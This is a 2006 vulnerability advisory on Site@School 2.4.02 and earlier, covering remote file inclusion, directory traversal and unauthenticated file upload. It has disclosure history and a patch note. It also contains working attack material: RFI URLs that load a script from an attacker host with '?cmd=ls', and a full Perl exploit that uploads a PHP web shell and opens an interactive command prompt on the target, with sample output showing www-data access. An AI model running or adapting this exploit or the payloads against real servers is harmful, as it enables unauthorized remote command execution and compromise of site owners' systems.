SecurityvulnsSECURITYVULNS:DOC:14346Site@School 2.4.02 and below Multiple remote Command Execution Vulnerabilities
Title: Site@School 2.4.02 and below Multiple remote Command Execution Vulnerabilities
Vendor: Site@School
webiste : http://siteatschool.sourceforge.net/
Version : <= 2.4.02
Severity: Critical
Discovered by: Simo64 <simo64_at_morx_org>
Exploit writting by: Simo Ben youssef <simo_at_morx_org>
Discovered: 05 Aout 2006
Published : 15 September 2006
MorX Security Research Team
http://www.morx.org
Original File: http://www.morx.org/school.txt
Details
Remote File Inclsuion :
vulnerable code in starnet/modules/sn_allbum/slideshow.php near line 39 - 46:
[code]
------------------------------------------------------------------
if(file_exists("$cmsdir/languages/$language/sn_allbum/$language.php"))
{
include("$cmsdir/languages/$language/sn_allbum/$language.php");
}
else
{
include("$cmsdir/languages/EN/sn_allbum/EN.php");
}
-------------------------------------------------------------------[/code]
vulnerable code in line 91 :
[code]
----------------------------------------------------------------
include("$cmsdir/themes/$themelocation/".$content_parm[0]);
------------------------------------------------------------------[/code]
$cmsdir is not properly verified ,can be used to include files from remote
resources witch would allow a remote attacker to execute arbitary command with the # privilege of the webserver
Note : multiple files are affected !
Exploit :
http://localhost/starnet/modules/sn_allbum/slideshow.php?cmsdir=http://attacker/evilscript.txt?cmd=ls
http://localhost/starnet/modules/include/include.php?cmsdir=http://attacker/evilscript.txt?cmd=ls
http://localhost/starnet/themes/editable/main.inc.php?cmsdir=http://attacker/evilscript.txt?cmd=ls
=======================
Directory Traversal :
=======================
PoC :
http://localhost/starnet/editors/htmlarea/popups/images.php?dir=../../
=======================
Arbitary File Upload :
=======================
vulnerable code in starnet/editors/htmlarea/popups/images.php near lines 58 - 104
[code]
----------------------------------------------------------
$BASE_DIR = $server_path;
$BASE_ROOT = $user_path.'/'.$media ;
if(isset($_FILES['upload']) && is_array($_FILES['upload']) && isset($_POST['dirPath']))
{
$dirPathPost = $_POST['dirPath'];
if(strlen($dirPathPost) > 0)
{
if(substr($dirPathPost,0,1)=='/')
$IMG_ROOT .= $dirPathPost;
else
$IMG_ROOT = $dirPathPost;
}
if(strrpos($IMG_ROOT, '/')!= strlen($IMG_ROOT)-1)
$IMG_ROOT .= '/';
do_upload($_FILES['upload'], $BASE_DIR.$BASE_ROOT.$dirPathPost.'/');
}
/[morx] do_upload function code [/morx]/
function do_upload($file, $dest_dir)
{
global $clearUploads, $perm;
if(is_file($file['tmp_name']))
{
# Remove spaces, apostrophe, exclamation marks etc.
$str_from = " \'@!,/\\\t\*?`\"" ;
$str_to = str_repeat("_",strlen($str_from));
$file_name = strtr($file['name'],$str_from,$str_to);
//var_dump($file); echo "DIR:$dest_dir";
move_uploaded_file($file['tmp_name'], $dest_dir.$file_name);
//get filepermissions from config and chmod it.
eval("chmod('$dest_dir.$file_name', $perm);");
}
$clearUploads = true;
}
---------------------------------------------------------[/code]
the first problem is that starnet/editors/htmlarea/popups/images.php is accessible
directelly to any user without any authentificagtion ,
the second problem is that the script doesn't verify thefile extension so an attacker needs just to complete the
condition in line 88 to upload a malicious script
Disclosure History:
05 Aout 2006 : Discovered
05 Aout 2006 : Contacted Vendor with vulnerabilities information
23 Aout 2006 : Vendor released 2.4.03
Patch:
Upgrade to the latest version.
Exploit :
=========
[code]
C:\>perl school.pl localhost
— Site@school remote file upload Xploit
— Writting By Simo ben youssef / Simo_at_morx_org
— MorX Security Research Team
— www.morx.org
[*] checking if zebi.php was successfully uploaded …
[+] zebi.php was successfully uploaded
#### ET VOILA, YOU ARE IN
Linux localhost 2.6.12.6-xenU #1 SMP Sun Dec 4 20:49:44 GMT 2005 x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[www-data@localhost:]#exit
Connection Closed
use IO::Socket;
use LWP::Simple;
if(!defined($ARGV[0])) {
print "\n— Site\@school remote file upload Xploit\n";
print "— Writting By Simo ben youssef / Simo_at_morx_org\n";
print "— MorX Security Research Team\n";
print "— www.morx.org\n\n";
print "— Usage: perl $0 <host>\n";
print "— Example: perl $0 localhost\n\n";
exit; }
$TARGET = $ARGV[0];
$PORT = "80";
$SCRIPT = "starnet/editors/htmlarea/popups/images.php";
$SHELL = "/starnet/media/zebi.php?cmd=";
$HTTP = "http://";
$COMMAND1 = "POST /$SCRIPT HTTP/1.1";
$COMMAND2 = "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, /";
$COMMAND3 = "Accept-Language: en-us";
$COMMAND4 = "Content-Type: multipart/form-data; boundary=-------- -------------------7d62e2819048c2";
$COMMAND5 = "Accept-Encoding: gzip, deflate";
$COMMAND6 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";
$COMMAND7 = "Host: $TARGET";
$COMMAND8 = "Content-Length: 438";
$COMMAND9 = "Connection: Keep-Alive";
$COMMAND9a = "Cache-Control: no-cache";
$COMMAND10 = "-----------------------------7d62e2819048c2";
$COMMAND11 = 'Content-Disposition: form-data; name="dirPath"';
$COMMAND12 = "/";
$COMMAND13 = 'Content-Disposition: form-data; name="upload"; filename="C:\zebi.php"';
$COMMAND14 = "Content-Type: application/octet-stream";
$COMMAND15 = "<? system(\$_GET['cmd']\);exit; ?>";
$COMMAND16 = 'Content-Disposition: form-data; name="upload"';
$COMMAND17 = "Upload";
$COMMAND18 = "-----------------------------7d62e2819048c2–";
$COMMAND19 = "HEAD /starnet/media/zebi.php HTTP/1.1";
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"$PORT")
|| die "Can't connect to $TARGET";
print "\n— Site\@school remote file upload Xploit\n";
print "— Writting By Simo ben youssef / Simo_at_morx_org\n";
print "— MorX Security Research Team\n";
print "— www.morx.org\n\n";
print "[*] Trying to upload zebi.php …\n\n";
sleep 2;
print $remote "$COMMAND1\n$COMMAND2\n$COMMAND3\n$COMMAND4\n$COMMAND5\n$COMMAND6\n$COMMAND7\n$COMMAND8\n$COMMAND9\n$COMMAND9a\n\n";
print $remote "$COMMAND10\n$COMMAND11\n\n$COMMAND12\n$COMMAND10\n$COMMAND13\n$COMMAND14\n\n$COMMAND15\n$COMMAND10\n$COMMAND16\n\n$COMMAND17\n$COMMAND18\n\n";
print "[*] checking if zebi.php was successfully uploaded …\n";
print $remote "$COMMAND19\n$COMMAND7\n$COMMAND9\n$COMMAND9a\n\n";
while ($output = <$remote> ) {
if ($output =~ /200 OK/) {
print "[+] zebi.php was successfully uploaded\n\n";
$cmd2 = "uname -n";
$cmd3 = "whoami";
$cmd4 = "uname -a";
$cmd5 = "id";
$unamea = "$HTTP$TARGET$SHELL$cmd4";
$id = "$HTTP$TARGET$SHELL$cmd5";
$uname = "$HTTP$TARGET$SHELL$cmd2";
$whoami = "$HTTP$TARGET$SHELL$cmd3";
$w = get($whoami);
$u = get($uname);
chomp($w);
chomp($u);
$ua = get($unamea);
$i = get($id);
print "####################################\n";
print "#### ET VOILA, YOU ARE IN #####\n";
print "####################################\n\n";
print "$ua\n$i";
while () {
print "\n[$w\@$u:]#";
chomp($cmd=<STDIN>);
if ($cmd eq "exit")
{
print "Connection Closed\n";
$remote->flush();
close($remote);
exit;
}
$LEHWA = "$HTTP$TARGET$SHELL$cmd";
if($cmd eq "")
{
print "empty command ! for help, type help\n"; }
else
{
getprint($LEHWA)
}
}
$a = 1
}
}
if ($a == 0)
{ print "[-] failed\n";
}
$remote->flush();
close($remote);
exit;